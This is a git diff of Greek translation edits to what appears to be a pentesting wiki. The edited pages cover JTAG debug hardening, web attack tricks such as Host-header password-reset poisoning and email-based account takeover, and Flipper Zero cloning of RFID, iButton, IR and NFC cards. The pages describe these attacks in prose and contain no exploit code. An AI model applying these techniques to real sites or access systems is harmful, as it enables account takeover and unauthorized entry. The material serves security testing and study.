JTAG, NXP/Nordic APPROTECT/DPAP). -- Απαιτήστε αυθεντικοποιημένη αποσφαλμάτωση (ARMv8.2‑A ADIv6 Debug Authentication, OEM‑managed challenge‑response) διατηρώντας την πρόσβαση στην παραγωγή. -- Μην διαδρομείτε εύκολες δοκιμαστικές επιφάνειες; θάψτε τις δοκιμαστικές vias, αφαιρέστε/καλύψτε αντιστάσεις για να απομονώσετε το TAP, χρησιμοποιήστε συνδέσμους με κλειδώματα ή fixtures pogo‑pin. -- Κλείδωμα αποσφαλμάτωσης κατά την ενεργοποίηση: κλείστε το TAP πίσω από πρώιμο ROM που επιβάλλει ασφαλή εκκίνηση. +- Απαιτήστε αυθεντικοποιημένη αποσφαλμάτωση (ARMv8.2‑A ADIv6 Debug Authentication, OEM‑managed challenge‑response) διατηρώντας την πρόσβαση στη manufacturing. +- Μην διαδρομείτε εύκολες δοκιμαστικές επιφάνειες; θάψτε τις δοκιμαστικές vias, αφαιρέστε/καλύψτε αντιστάτες για να απομονώσετε το TAP, χρησιμοποιήστε συνδέσμους με κλειδώματα ή fixtures pogo‑pin. +- Κλείδωμα αποσφαλμάτωσης κατά την ενεργοποίηση: κλείστε το TAP πίσω από το πρώιμο ROM που επιβάλλει ασφαλή εκκίνηση. ## Αναφορές diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md index 7c956ec40..9c29eaf9d 100644 --- a/src/todo/other-web-tricks.md +++ b/src/todo/other-web-tricks.md @@ -4,21 +4,21 @@ ### Κεφαλίδα Host -Πολλές φορές το back-end εμπιστεύεται την **κεφαλίδα Host** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή της ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λαμβάνετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στην κεφαλίδα Host. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Πολλές φορές το back-end εμπιστεύεται την **κεφαλίδα Host** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή της ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στην κεφαλίδα Host. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**. +> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού για να αποκτήσετε το token, καθώς ίσως ακόμη και **φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**. ### Boolean συνεδρίας -Ορισμένες φορές όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\ +Ορισμένες φορές, όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\ Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Λειτουργία εγγραφής -Προσπαθήστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode). +Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode). -### Κατάληψη email +### Κατάληψη emails Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό. @@ -30,7 +30,7 @@ https://yourcompanyname.atlassian.net/servicedesk/customer/user/login ### Μέθοδος TRACE -Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών κεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών κεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους διακομιστές μεσολάβησης.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index 1aefc0cbe..e0b69b388 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -7,6 +7,7 @@ Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργούν οι ετικέτες 125kHz, ελέγξτε: + {{#ref}} ../pentesting-rfid.md {{#endref}} @@ -20,7 +21,7 @@ Προσπαθεί να **διαβάσει** τις πληροφορίες της κάρτας. Στη συνέχεια, μπορεί να **εξομοιώσει** αυτές. > [!WARNING] -> Σημειώστε ότι ορισμένα θυροτηλέφωνα προσπαθούν να προστατευτούν από την αντιγραφή κλειδιών στέλνοντας μια εντολή εγγραφής πριν από την ανάγνωση. Εάν η εγγραφή είναι επιτυχής, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν το Flipper εξομοιώνει RFID, δεν υπάρχει τρόπος για τον αναγνώστη να το διακρίνει από το αυθεντικό, οπότε δεν προκύπτουν τέτοια προβλήματα. +> Σημειώστε ότι ορισμένα θυροτηλέφωνα προσπαθούν να προστατευτούν από την αντιγραφή κλειδιών στέλνοντας μια εντολή εγγραφής πριν από την ανάγνωση. Εάν η εγγραφή είναι επιτυχής, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν ο Flipper εξομοιώνει RFID, δεν υπάρχει τρόπος για τον αναγνώστη να τη διακρίνει από την αυθεντική, οπότε δεν προκύπτουν τέτοια προβλήματα. ### Add Manually @@ -28,24 +29,24 @@ #### IDs on cards -Ορισμένες φορές, όταν αποκτάτε μια κάρτα, θα βρείτε το ID (ή μέρος του) γραμμένο στην κάρτα ορατό. +Ορισμένες φορές, όταν αποκτάτε μια κάρτα, θα βρείτε το ID (ή μέρος του) γραμμένο στην κάρτα ορατά. - **EM Marin** -Για παράδειγμα, σε αυτή την κάρτα EM-Marin είναι δυνατή η **ανάγνωση των τελευταίων 3 από 5 bytes σε καθαρή μορφή**.\ +Για παράδειγμα, σε αυτή την κάρτα EM-Marin είναι δυνατό να **διαβάσετε τα τελευταία 3 από 5 bytes σε καθαρή μορφή**.\ Τα άλλα 2 μπορούν να βρεθούν με brute-force αν δεν μπορείτε να τα διαβάσετε από την κάρτα.
- **HID** -Το ίδιο συμβαίνει σε αυτή την κάρτα HID όπου μόνο 2 από 3 bytes μπορούν να βρεθούν εκτυπωμένα στην κάρτα. +Το ίδιο συμβαίνει και σε αυτή την κάρτα HID όπου μόνο 2 από τα 3 bytes μπορούν να βρεθούν εκτυπωμένα στην κάρτα.
### Emulate/Write -Αφού **αντιγράψετε** μια κάρτα ή **εισάγετε** το ID **χειροκίνητα**, είναι δυνατή η **εξομοίωση** της με το Flipper Zero ή η **εγγραφή** της σε μια πραγματική κάρτα. +Αφού **αντιγράψετε** μια κάρτα ή **εισάγετε** το ID **χειροκίνητα**, είναι δυνατό να την **εξομοιώσετε** με το Flipper Zero ή να την **εγγράψετε** σε μια πραγματική κάρτα. ## References diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md index f243be1a1..34038b86b 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -4,7 +4,7 @@ ## Intro -Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα iButton, δείτε: +Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα iButton, ελέγξτε: {{#ref}} ../ibutton.md @@ -12,7 +12,7 @@ ## Design -Το **μπλε** μέρος της παρακάτω εικόνας είναι πώς θα πρέπει να **τοποθετήσετε το πραγματικό iButton** ώστε το Flipper να μπορεί να **το διαβάσει.** Το **πράσινο** μέρος είναι πώς πρέπει να **αγγίξετε τον αναγνώστη** με το Flipper zero για να **προσομοιώσετε σωστά ένα iButton**. +Το **μπλε** μέρος της παρακάτω εικόνας είναι πώς θα πρέπει να **τοποθετήσετε το πραγματικό iButton** ώστε το Flipper να **μπορεί να το διαβάσει.** Το **πράσινο** μέρος είναι πώς πρέπει να **αγγίξετε τον αναγνώστη** με το Flipper zero για να **εξομοιώσετε σωστά ένα iButton**.
@@ -28,9 +28,9 @@ ### **Emulate** -Είναι δυνατόν να **προσομοιώσετε** αποθηκευμένα iButtons (διαβασμένα ή προστιθέμενα χειροκίνητα). +Είναι δυνατόν να **εξομοιώσετε** αποθηκευμένα iButtons (διαβασμένα ή προστιθέμενα χειροκίνητα). -> [!NOTE] +> [!TIP] > Εάν δεν μπορείτε να κάνετε τις αναμενόμενες επαφές του Flipper Zero να αγγίξουν τον αναγνώστη, μπορείτε να **χρησιμοποιήσετε το εξωτερικό GPIO:**
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md index bb3b30873..4ec40ead2 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -12,17 +12,17 @@ ## IR Signal Receiver in Flipper Zero -Ο Flipper χρησιμοποιεί έναν ψηφιακό δέκτη σήματος IR TSOP, ο οποίος **επιτρέπει την παρεμβολή σημάτων από IR τηλεκοντρόλ**. Υπάρχουν μερικά **smartphones** όπως η Xiaomi, που έχουν επίσης θύρα IR, αλλά να έχετε υπόψη ότι **οι περισσότεροι από αυτούς μπορούν μόνο να μεταδίδουν** σήματα και είναι **ανίκανοι να τα λάβουν**. +Ο Flipper χρησιμοποιεί έναν ψηφιακό δέκτη σήματος IR TSOP, ο οποίος **επιτρέπει την παρεμβολή σημάτων από IR τηλεκοντρόλ**. Υπάρχουν κάποια **smartphones** όπως η Xiaomi, που έχουν επίσης θύρα IR, αλλά να έχετε υπόψη ότι **οι περισσότεροι από αυτούς μπορούν μόνο να μεταδίδουν** σήματα και είναι **ανίκανοι να τα λάβουν**. -Ο δέκτης IR του Flipper **είναι αρκετά ευαίσθητος**. Μπορείτε ακόμη και να **πιάσετε το σήμα** ενώ παραμένετε **κάπου ενδιάμεσα** του τηλεκοντρόλ και της τηλεόρασης. Δεν είναι απαραίτητο να στοχεύετε το τηλεκοντρόλ απευθείας στη θύρα IR του Flipper. Αυτό είναι χρήσιμο όταν κάποιος αλλάζει κανάλια ενώ στέκεται κοντά στην τηλεόραση, και εσείς και ο Flipper είστε σε κάποια απόσταση. +Ο δέκτης IR του Flipper είναι **αρκετά ευαίσθητος**. Μπορείτε ακόμη και να **πιάσετε το σήμα** ενώ βρίσκεστε **κάπου ενδιάμεσα** του τηλεκοντρόλ και της τηλεόρασης. Δεν είναι απαραίτητο να στοχεύετε το τηλεκοντρόλ απευθείας στη θύρα IR του Flipper. Αυτό είναι χρήσιμο όταν κάποιος αλλάζει κανάλια ενώ στέκεται κοντά στην τηλεόραση, και εσείς και ο Flipper είστε σε κάποια απόσταση. -Καθώς η **αποκωδικοποίηση του σήματος infrared** συμβαίνει στην πλευρά του **λογισμικού**, ο Flipper Zero υποστηρίζει δυνητικά την **λήψη και μετάδοση οποιωνδήποτε κωδικών IR τηλεκοντρόλ**. Στην περίπτωση **άγνωστων** πρωτοκόλλων που δεν μπορούν να αναγνωριστούν - **καταγράφει και αναπαράγει** το ακατέργαστο σήμα ακριβώς όπως το έλαβε. +Καθώς η **αποκωδικοποίηση του σήματος infrared** συμβαίνει στην **πλευρά του λογισμικού**, ο Flipper Zero υποστηρίζει δυνητικά την **λήψη και μετάδοση οποιωνδήποτε κωδικών IR τηλεκοντρόλ**. Στην περίπτωση **άγνωστων** πρωτοκόλλων που δεν μπορούν να αναγνωριστούν - **καταγράφει και αναπαράγει** το ακατέργαστο σήμα ακριβώς όπως το έλαβε. ## Actions ### Universal Remotes -Ο Flipper Zero μπορεί να χρησιμοποιηθεί ως **καθολικό τηλεκοντρόλ για τον έλεγχο οποιασδήποτε τηλεόρασης, κλιματιστικού ή κέντρου πολυμέσων**. Σε αυτή τη λειτουργία, ο Flipper **δοκιμάζει** όλους τους **γνωστούς κωδικούς** όλων των υποστηριζόμενων κατασκευαστών **σύμφωνα με το λεξικό από την κάρτα SD**. Δεν χρειάζεται να επιλέξετε ένα συγκεκριμένο τηλεκοντρόλ για να απενεργοποιήσετε μια τηλεόραση εστιατορίου. +Ο Flipper Zero μπορεί να χρησιμοποιηθεί ως **καθολικό τηλεκοντρόλ για τον έλεγχο οποιασδήποτε τηλεόρασης, κλιματιστικού ή κέντρου πολυμέσων**. Σε αυτή τη λειτουργία, ο Flipper **δοκιμάζει** όλους τους **γνωστούς κωδικούς** όλων των υποστηριζόμενων κατασκευαστών **σύμφωνα με το λεξικό από την κάρτα SD**. Δεν χρειάζεται να επιλέξετε ένα συγκεκριμένο τηλεκοντρόλ για να απενεργοποιήσετε την τηλεόραση ενός εστιατορίου. Αρκεί να πατήσετε το κουμπί τροφοδοσίας στη λειτουργία Καθολικού Τηλεκοντρόλ, και ο Flipper θα **στείλει διαδοχικά τις εντολές "Power Off"** όλων των τηλεοράσεων που γνωρίζει: Sony, Samsung, Panasonic... και ούτω καθεξής. Όταν η τηλεόραση λάβει το σήμα της, θα αντιδράσει και θα απενεργοποιηθεί. @@ -30,7 +30,7 @@ ### Learn New Remote -Είναι δυνατόν να **καταγράψετε ένα σήμα infrared** με τον Flipper Zero. Αν **βρει το σήμα στη βάση δεδομένων**, ο Flipper θα **γνωρίζει αυτό που είναι** και θα σας επιτρέψει να αλληλεπιδράσετε μαζί του.\ +Είναι δυνατόν να **καταγράψετε ένα σήμα infrared** με τον Flipper Zero. Αν **βρει το σήμα στη βάση δεδομένων**, ο Flipper θα γνωρίζει αυτόματα **ποια συσκευή είναι αυτή** και θα σας επιτρέψει να αλληλεπιδράσετε μαζί της.\ Αν δεν το βρει, ο Flipper μπορεί να **αποθηκεύσει** το **σήμα** και θα σας επιτρέψει να το **αναπαράγετε**. ## References diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index b285c682c..1611ee05c 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -13,11 +13,11 @@ ## Supported NFC cards > [!CAUTION] -> Εκτός από τις κάρτες NFC, το Flipper Zero υποστηρίζει **άλλους τύπους καρτών Υψηλής Συχνότητας** όπως αρκετές **Mifare** Classic και Ultralight και **NTAG**. +> Εκτός από τις κάρτες NFC, το Flipper Zero υποστηρίζει **άλλους τύπους καρτών Υψηλής συχνότητας** όπως αρκετές **Mifare** Classic και Ultralight και **NTAG**. Νέοι τύποι καρτών NFC θα προστεθούν στη λίστα των υποστηριζόμενων καρτών. Το Flipper Zero υποστηρίζει τους εξής **τύπους καρτών NFC A** (ISO 14443A): -- **Κάρτες τραπέζης (EMV)** — διαβάζει μόνο UID, SAK και ATQA χωρίς αποθήκευση. +- **Κάρτες τραπέζης (EMV)** — διαβάζει μόνο το UID, SAK και ATQA χωρίς αποθήκευση. - **Άγνωστες κάρτες** — διαβάζει (UID, SAK, ATQA) και προσομοιώνει ένα UID. Για **τύπους καρτών NFC B, F και V**, το Flipper Zero μπορεί να διαβάσει ένα UID χωρίς να το αποθηκεύσει. @@ -52,7 +52,7 @@ ### Read -Το Flipper Zero μπορεί να **διαβάσει κάρτες NFC**, ωστόσο, **δεν κατανοεί όλα τα πρωτόκολλα** που βασίζονται στο ISO 14443. Ωστόσο, δεδομένου ότι το **UID είναι ένα χαμηλού επιπέδου χαρακτηριστικό**, μπορεί να βρεθείτε σε μια κατάσταση όπου το **UID έχει ήδη διαβαστεί, αλλά το πρωτόκολλο μεταφοράς δεδομένων υψηλού επιπέδου είναι ακόμα άγνωστο**. Μπορείτε να διαβάσετε, να προσομοιώσετε και να εισάγετε χειροκίνητα το UID χρησιμοποιώντας το Flipper για τους πρωτόγονους αναγνώστες που χρησιμοποιούν το UID για εξουσιοδότηση. +Το Flipper Zero μπορεί να **διαβάσει κάρτες NFC**, ωστόσο, **δεν κατανοεί όλα τα πρωτόκολλα** που βασίζονται στο ISO 14443. Ωστόσο, καθώς το **UID είναι μια χαμηλού επιπέδου ιδιότητα**, μπορεί να βρεθείτε σε μια κατάσταση όπου το **UID έχει ήδη διαβαστεί, αλλά το πρωτόκολλο μεταφοράς δεδομένων υψηλού επιπέδου είναι ακόμα άγνωστο**. Μπορείτε να διαβάσετε, να προσομοιώσετε και να εισάγετε χειροκίνητα το UID χρησιμοποιώντας το Flipper για τους πρωτόγονους αναγνώστες που χρησιμοποιούν το UID για εξουσιοδότηση. #### Reading the UID VS Reading the Data Inside @@ -69,7 +69,7 @@ #### EMV Bank Cards (PayPass, payWave, Apple Pay, Google Pay) -Εκτός από την απλή ανάγνωση του UID, μπορείτε να εξάγετε πολύ περισσότερα δεδομένα από μια κάρτα τραπέζης. Είναι δυνατόν να **λάβετε τον πλήρη αριθμό της κάρτας** (τους 16 ψηφίους στην μπροστινή πλευρά της κάρτας), **ημερομηνία λήξης**, και σε ορισμένες περιπτώσεις ακόμη και το **όνομα του κατόχου** μαζί με μια λίστα με τις **πιο πρόσφατες συναλλαγές**.\ +Εκτός από την απλή ανάγνωση του UID, μπορείτε να εξάγετε πολύ περισσότερα δεδομένα από μια κάρτα τραπέζης. Είναι δυνατό να **λάβετε τον πλήρη αριθμό της κάρτας** (τους 16 ψηφίους στην μπροστινή πλευρά της κάρτας), **ημερομηνία λήξης**, και σε ορισμένες περιπτώσεις ακόμη και το **όνομα του κατόχου** μαζί με μια λίστα των **πιο πρόσφατων συναλλαγών**.\ Ωστόσο, δεν μπορείτε να διαβάσετε το CVV με αυτόν τον τρόπο (τους 3 ψηφίους στην πίσω πλευρά της κάρτας). Επίσης, **οι κάρτες τραπέζης προστατεύονται από επιθέσεις επανάληψης**, οπότε η αντιγραφή τους με το Flipper και στη συνέχεια η προσπάθεια προσομοίωσής τους για να πληρώσετε κάτι δεν θα λειτουργήσει. ## References diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index 179a7635a..6876b55d6 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -4,13 +4,13 @@ ## Intro -Το iButton είναι ένα γενικό όνομα για ένα ηλεκτρονικό κλειδί ταυτοποίησης που είναι συσκευασμένο σε ένα **μεταλλικό δοχείο σε σχήμα νομίσματος**. Ονομάζεται επίσης **Dallas Touch** Memory ή επαφή μνήμης. Αν και συχνά αναφέρεται λανθασμένα ως “μαγνητικό” κλειδί, δεν υπάρχει **τίποτα μαγνητικό** σε αυτό. Στην πραγματικότητα, μέσα του κρύβεται ένα πλήρες **μικροτσίπ** που λειτουργεί με ψηφιακό πρωτόκολλο. +iButton είναι μια γενική ονομασία για ένα ηλεκτρονικό κλειδί ταυτοποίησης που είναι συσκευασμένο σε ένα **μεταλλικό δοχείο σε σχήμα νομίσματος**. Ονομάζεται επίσης **Dallas Touch** Memory ή επαφή μνήμης. Αν και συχνά αναφέρεται λανθασμένα ως “μαγνητικό” κλειδί, δεν υπάρχει **τίποτα μαγνητικό** σε αυτό. Στην πραγματικότητα, ένα πλήρες **μικροτσίπ** που λειτουργεί με ψηφιακό πρωτόκολλο είναι κρυμμένο μέσα του.
-### Τι είναι το iButton; +### What is iButton? -Συνήθως, το iButton υποδηλώνει τη φυσική μορφή του κλειδιού και του αναγνώστη - ένα στρογγυλό νόμισμα με δύο επαφές. Για το πλαίσιο που το περιβάλλει, υπάρχουν πολλές παραλλαγές από τον πιο κοινό πλαστικό θήκη με τρύπα μέχρι δαχτυλίδια, κρεμαστά κ.λπ. +Συνήθως, το iButton υποδηλώνει τη φυσική μορφή του κλειδιού και του αναγνώστη - ένα στρογγυλό νόμισμα με δύο επαφές. Για το πλαίσιο που το περιβάλλει, υπάρχουν πολλές παραλλαγές από τον πιο κοινό πλαστικό θήκη με μια τρύπα μέχρι δαχτυλίδια, κρεμαστά, κ.λπ.
@@ -18,19 +18,19 @@
-### **Πρωτόκολλο 1-Wire** +### **1-Wire protocol** -Τα κλειδιά Dallas ανταλλάσσουν δεδομένα χρησιμοποιώντας το πρωτόκολλο 1-wire. Με μόνο μία επαφή για τη μεταφορά δεδομένων (!!) και στις δύο κατευθύνσεις, από τον κύριο στον δούλο και αντίστροφα. Το πρωτόκολλο 1-wire λειτουργεί σύμφωνα με το μοντέλο Master-Slave. Σε αυτή την τοπολογία, ο Master πάντα ξεκινά την επικοινωνία και ο Slave ακολουθεί τις οδηγίες του. +Οι κλειδαριές Dallas ανταλλάσσουν δεδομένα χρησιμοποιώντας το πρωτόκολλο 1-wire. Με μόνο μία επαφή για τη μεταφορά δεδομένων (!!) και στις δύο κατευθύνσεις, από τον κύριο στον δούλο και αντίστροφα. Το πρωτόκολλο 1-wire λειτουργεί σύμφωνα με το μοντέλο Master-Slave. Σε αυτή την τοπολογία, ο Master πάντα ξεκινά την επικοινωνία και ο Slave ακολουθεί τις οδηγίες του. Όταν το κλειδί (Slave) έρχεται σε επαφή με το θυροτηλέφωνο (Master), το τσιπ μέσα στο κλειδί ενεργοποιείται, τροφοδοτούμενο από το θυροτηλέφωνο, και το κλειδί αρχικοποιείται. Ακολουθώντας αυτό, το θυροτηλέφωνο ζητά την ταυτότητα του κλειδιού. Στη συνέχεια, θα εξετάσουμε αυτή τη διαδικασία πιο λεπτομερώς. -Το Flipper μπορεί να λειτουργήσει τόσο σε λειτουργία Master όσο και σε λειτουργία Slave. Στη λειτουργία ανάγνωσης κλειδιού, το Flipper λειτουργεί ως αναγνώστης, δηλαδή λειτουργεί ως Master. Και στη λειτουργία προσομοίωσης κλειδιού, το Flipper προσποιείται ότι είναι ένα κλειδί, είναι σε λειτουργία Slave. +Το Flipper μπορεί να λειτουργεί τόσο σε λειτουργία Master όσο και σε λειτουργία Slave. Στη λειτουργία ανάγνωσης κλειδιού, το Flipper λειτουργεί ως αναγνώστης, δηλαδή λειτουργεί ως Master. Και στη λειτουργία προσομοίωσης κλειδιού, το Flipper προσποιείται ότι είναι ένα κλειδί, είναι σε λειτουργία Slave. -### Κλειδιά Dallas, Cyfral & Metakom +### Dallas, Cyfral & Metakom keys Για πληροφορίες σχετικά με το πώς λειτουργούν αυτά τα κλειδιά, ελέγξτε τη σελίδα [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) -### Επιθέσεις +### Attacks Τα iButtons μπορούν να επιτεθούν με το Flipper Zero: @@ -38,7 +38,7 @@ flipper-zero/fz-ibutton.md {{#endref}} -## Αναφορές +## References - [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index 086ea7da4..aad5a0682 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -32,7 +32,7 @@ **3. Κωδικοποίηση Φάσης** -Είναι επίσης γνωστή ως κωδικοποίηση Manchester. Η λογική τιμή καθορίζεται από την πολικότητα της μετάβασης μεταξύ της έκρηξης του παλμού και του διαστήματος. "Διάστημα σε έκρηξη παλμού" δηλώνει λογική "0", "έκρηξη παλμού σε διάστημα" δηλώνει λογική "1". +Είναι επίσης γνωστή ως κωδικοποίηση Manchester. Η λογική τιμή καθορίζεται από την πολικότητα της μετάβασης μεταξύ της έκρηξης του παλμού και του διαστήματος. "Διάστημα προς έκρηξη παλμού" δηλώνει λογική "0", "έκρηξη παλμού προς διάστημα" δηλώνει λογική "1".
@@ -45,7 +45,7 @@ ### Εξερεύνηση ενός σήματος IR -Ο πιο αξιόπιστος τρόπος για να δείτε πώς φαίνεται το σήμα IR του τηλεχειριστηρίου είναι να χρησιμοποιήσετε ένα παλμογράφο. Δεν αποδιαμορφώνει ή αναστρέφει το ληφθέν σήμα, απλά εμφανίζεται "όπως είναι". Αυτό είναι χρήσιμο για δοκιμές και αποσφαλμάτωση. Θα δείξω το αναμενόμενο σήμα με το παράδειγμα του πρωτοκόλλου NEC IR. +Ο πιο αξιόπιστος τρόπος για να δείτε πώς φαίνεται το σήμα IR του τηλεχειριστηρίου είναι να χρησιμοποιήσετε ένα παλμογράφο. Δεν αποδιαμορφώνει ή αναστρέφει το ληφθέν σήμα, απλώς εμφανίζεται "όπως είναι". Αυτό είναι χρήσιμο για δοκιμές και αποσφαλμάτωση. Θα δείξω το αναμενόμενο σήμα με το παράδειγμα του πρωτοκόλλου NEC IR.
@@ -53,7 +53,7 @@ Στη συνέχεια, μεταδίδονται τα δεδομένα. Η δομή, η προάγγελος και η μέθοδος κωδικοποίησης bit καθορίζονται από το συγκεκριμένο πρωτόκολλο. -**Το πρωτόκολλο NEC IR** περιέχει μια σύντομη εντολή και έναν κωδικό επανάληψης, ο οποίος αποστέλλεται ενώ το κουμπί είναι πατημένο. Και η εντολή και ο κωδικός επανάληψης έχουν την ίδια προάγγελο στην αρχή. +Το **πρωτόκολλο NEC IR** περιέχει μια σύντομη εντολή και έναν κωδικό επανάληψης, ο οποίος αποστέλλεται ενώ το κουμπί είναι πατημένο. Και η εντολή και ο κωδικός επανάληψης έχουν την ίδια προάγγελο στην αρχή. Η **εντολή NEC**, εκτός από την προάγγελο, αποτελείται από ένα byte διεύθυνσης και ένα byte αριθμού εντολής, με το οποίο η συσκευή καταλαβαίνει τι πρέπει να εκτελέσει. Τα byte διεύθυνσης και αριθμού εντολής επαναλαμβάνονται με αντίστροφες τιμές, για να ελέγξουν την ακεραιότητα της μετάδοσης. Υπάρχει ένα επιπλέον bit διακοπής στο τέλος της εντολής. @@ -64,7 +64,7 @@ ### Κλιματιστικά Σε αντίθεση με άλλους τηλεχειριστήρες, **τα κλιματιστικά δεν μεταδίδουν απλώς τον κωδικό του πατημένου κουμπιού**. Επίσης **μεταδίδουν όλες τις πληροφορίες** όταν πατηθεί ένα κουμπί για να διασφαλίσουν ότι η **μηχανή κλιματισμού και το τηλεχειριστήριο είναι 